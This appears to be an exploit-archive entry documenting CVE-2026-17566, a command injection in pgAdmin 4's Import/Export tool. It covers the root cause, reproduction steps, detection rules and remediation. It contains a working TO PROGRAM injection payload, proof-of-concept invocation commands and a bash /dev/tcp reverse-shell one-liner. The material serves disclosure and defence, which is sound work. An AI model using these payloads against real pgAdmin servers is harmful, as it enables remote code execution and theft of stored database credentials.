pgAdmin 4 Import/Export Data psql TO PROGRAM Command Injection (CVE-2026-17566)
Published: 2026-11-27 • Researcher: Exploit implementation by HackSpeak (GitHub: HackSpeak); vulnerability reported by Arpit Jain (arpitjain099); archived and reviewed 2026-11-27
- Severity
- Critical
- CVE
- CVE-2026-17566 (CWE-78, CWE-115)
- Category
- web
- Affected product
- pgAdmin 4, Import/Export Data tool (POST /import_export/job/<sid>)
- Affected versions
- All pgAdmin 4 releases before 9.18 that contain _is_query_parens_balanced(); fixed in 9.18 by commit 1496fabe
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-08-04 (upstream commit 98375f2f020410457562b0be9c303df83308e657, “CVE-2026-17566 pgAdmin 4 Import/Export RCE PoC + README + MIT license”) |
| Author / Researcher | Exploit implementation by HackSpeak (GitHub: HackSpeak); vulnerability reported by Arpit Jain (arpitjain099); archived and reviewed 2026-11-27 |
| CVE / Advisory | CVE-2026-17566 (CWE-78, CWE-115) |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.9 (CVSSv3.1, per the NVD record; the upstream reader also quotes 9.4 for CVSS 4.0) |
| Status | PoC (the author states the request path and payload are implemented from public analysis and have not been validated against a live instance) |
| Tags | pgadmin4, postgresql, psql, copy-to-program, command-injection, cwe-78, cwe-115, authenticated, rce, python |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | pgAdmin 4, Import/Export Data tool (POST /import_export/job/<sid>) |
| Versions Affected | All pgAdmin 4 releases before 9.18 that contain _is_query_parens_balanced(); fixed in 9.18 by commit 1496fabe |
| Language / Platform | pgAdmin 4 is Python (Flask) running on Windows, macOS or Linux; it shells out to the PostgreSQL client psql on the same host. The archived exploit is Python 3 and uses only the standard library |
| Authentication Required | Yes, but only an ordinary low-privileged account holding the commonly granted tools_import_export_data permission; no superuser or administrator role is needed |
| Network Access Required | Yes, HTTP or HTTPS access to the pgAdmin web interface |
Summary
pgAdmin 4’s Import/Export Data tool turns a user-supplied SQL query into a psql copy command and runs it through the psql client on the pgAdmin host. Before version 9.18, a hand-written parenthesis balance check decided whether the query was safe, and that check assumed a backslash before a quote escapes the quote, which is only true when the PostgreSQL setting standard conforming strings is off. PostgreSQL has defaulted that setting to on since 2011, so psql closes the string at the backslash and treats the following parenthesis as the end of the wrapped copy subquery, letting an attacker append a TO PROGRAM clause that psql executes through popen. A low-privileged, authenticated pgAdmin user can therefore run arbitrary operating system commands as the account that serves pgAdmin.
Vulnerability Details
Root Cause
The Import/Export job handler renders a Jinja template that embeds the requested SQL into a psql line of the shape \copy (<query>) TO '<file>'. To stop a query from breaking out of the parenthesised wrapper, create_import_export_job() validates it with _is_query_parens_balanced(). That helper is character-based and assumes a backslash always escapes a following single quote, i.e. it evaluates quotes as if standard_conforming_strings were off.
PostgreSQL has shipped standard_conforming_strings = on by default since 9.1, and every PostgreSQL release currently supported by pgAdmin 4 (13 through 18) uses that default. Under the real setting psql treats the backslash as an ordinary character inside the literal, so the quote immediately after it terminates the string. The checker still believes the closing parenthesis is inside the string, so a query such as SELECT 'a\') TO PROGRAM 'echo pwned' x' passes validation, while psql sees the string end, a completed \copy (...) subquery, and then a live TO PROGRAM '<command>' clause. psql runs that command, independent of the syntax error that follows later on the same line.
The 9.18 fix rejects any backslash inside a single-quoted string rather than guessing which of the two psql interpretations the target server will apply, because the correct behaviour depends on the server’s standard_conforming_strings value, which pgAdmin cannot reliably determine when validating.
Attack Vector
An authenticated pgAdmin user with the tools_import_export_data permission submits a crafted query export job over HTTP to POST /import_export/job/<sid>, where <sid> is the identifier of any PostgreSQL server already registered in that user’s browser tree. The request body sets is_query_export and supplies the malicious query value plus normal CSV export options. pgAdmin builds the psql command, writes the query into it, and executes psql on the pgAdmin host.
Impact
Arbitrary command execution on the pgAdmin server host as the pgAdmin service account, which in typical container and appliance deployments is root. From there an attacker can read pgAdmin’s configuration and its encrypted credential store, reach every PostgreSQL server registered in pgAdmin through the stored passwords, pivot into the database network, and tamper with backups or dump files produced by the Export tool. Scope is changed because the vulnerable component (pgAdmin) is different from the component that ultimately executes commands (the local psql process and its parent shell environment).
Environment / Lab Setup
OS: Linux (pgAdmin runs on the same host as the psql client)
Target: pgAdmin 4 <= 9.17, e.g. the official dpage/pgadmin4 image tagged 9.17,
plus a reachable PostgreSQL 13-18 server registered in pgAdmin
Attacker: Linux workstation with Python 3.8+ (standard library only)
Tools: python3, curl, psql (server side), a listener (nc) for reverse shellsSetup Steps
| |
No exploit in this archive was executed while preparing the entry, and the upstream author did not publish a validated live run, so the exact JSON field names may need small adjustments for a given pgAdmin point release.
Proof of Concept
Step-by-Step Reproduction
Step 1 — Export the low-privileged account password and point the script at the pgAdmin base URL.
Shell script1export PGADMIN_PASSWORD='lowpriv-pass'Step 2 — Run the archived PoC with a benign command that writes a marker file on the pgAdmin host.
Shell script1 2python3 pgadmin4_rce_poc.py --url http://127.0.0.1:5050 \ --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'Step 3 — The script logs in, extracts the CSRF form token, enumerates the first server via
GET /browser/servers, and posts the crafted job.Output1 2 3POST /import_export/job/<sid> {"is_query_export": true, "query": "SELECT 'a\\') TO PROGRAM 'id > /tmp/pgadmin_rce_proof' x'", ...}Step 4 — Read the marker from the pgAdmin container to confirm execution.
Shell script1docker exec pgadmin cat /tmp/pgadmin_rce_proofStep 5 (optional) — Replace the file-write command with a reverse shell to confirm interactive access; the script’s
--reverse HOST:PORToption generatesbash -i >& /dev/tcp/HOST/PORT 0>&1.
Exploit Code
See
pgadmin4_rce_poc.pyin this folder for the full client.
| |
Expected Output
| |
| |
On Docker images the service account is usually pgadmin (uid 5050); on package installs it may be a dedicated system user, and some deployments run it as root. A rejected job or an HTTP 400/403 response indicates a patched build or mismatched request fields.
Detection & Indicators of Compromise
POST /import_export/job/<sid> HTTP/1.1 200
"query": "SELECT 'a\\') TO PROGRAM '
psql ... --command "\copy (SELECT 'a\') TO PROGRAM 'id > /tmp/x' x') TO '/tmp/out.csv'"
bash -i >& /dev/tcp/10.0.0.5/4555 0>&1
/tmp/pgadmin_export.csv, /tmp/pgadmin_rce_proofSIEM / IDS Rule (example):
alert http any any -> any any (msg:"Possible pgAdmin CVE-2026-17566 copy TO PROGRAM injection"; \
content:"POST"; http_method; content:"/import_export/job/"; http_uri; \
content:"TO PROGRAM"; http_client_body; sid:90017566;)Also alert on psql process creation whose command line contains both \copy ( and TO PROGRAM, and on outbound connections from the pgAdmin host to unusual destinations after an import/export job.
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade pgAdmin 4 to 9.18 or later; the fix commit is 1496fabe28c9f825f6bac0f0d000d9d3276322c3 and rejects backslashes inside single-quoted query strings |
| Workaround | Revoke the Import/Export Data permission from untrusted or low-privileged accounts; disable the tool entirely if it is not needed |
| Config Hardening | Run pgAdmin as an unprivileged user in a container, keep its credential store encrypted with a strong master password, restrict egress from the pgAdmin host, and audit registered servers and stored passwords after any suspected use |
References
Notes
Verdict: ingested. The repository contains a real, self-contained client that performs the documented exploitation path: it authenticates to pgAdmin, extracts the CSRF token, enumerates registered servers, and submits the crafted \copy ... TO PROGRAM job to the Import/Export endpoint. It is not a scanner, detector or advisory-only repository, and it carries no malware, persistence, credential-stealing or C2 logic; the optional reverse-shell payload is a normal post-exploitation command executed through the same injection, not a separate module.
License: MIT, Copyright (c) 2026 HackSpeak. The archived copy keeps the upstream MIT notice in upstream-README.md; the source file itself has no embedded license header, so the repository license governs.
Limitations: The author explicitly states the script was written from public technical analysis and has not been tested against a live instance, so the JSON field names (is_query_export, export_all_query_data, file_name, etc.) and the login form token selector may need adjustment for a specific pgAdmin point release. Because of that, the entry is marked PoC rather than Weaponized. The exploit needs a valid low-privileged login and at least one registered server; it cannot be used pre-auth. The command argument must not contain a single quote, since a quote would terminate the injected TO PROGRAM literal. The export target path is written by psql itself and must be writable by the pgAdmin process. Related same-family bugs are CVE-2025-12762 and CVE-2025-13780 (psql COPY/meta-command injection during PLAIN-format restore), which were fixed through different code and are not duplicated here.
| |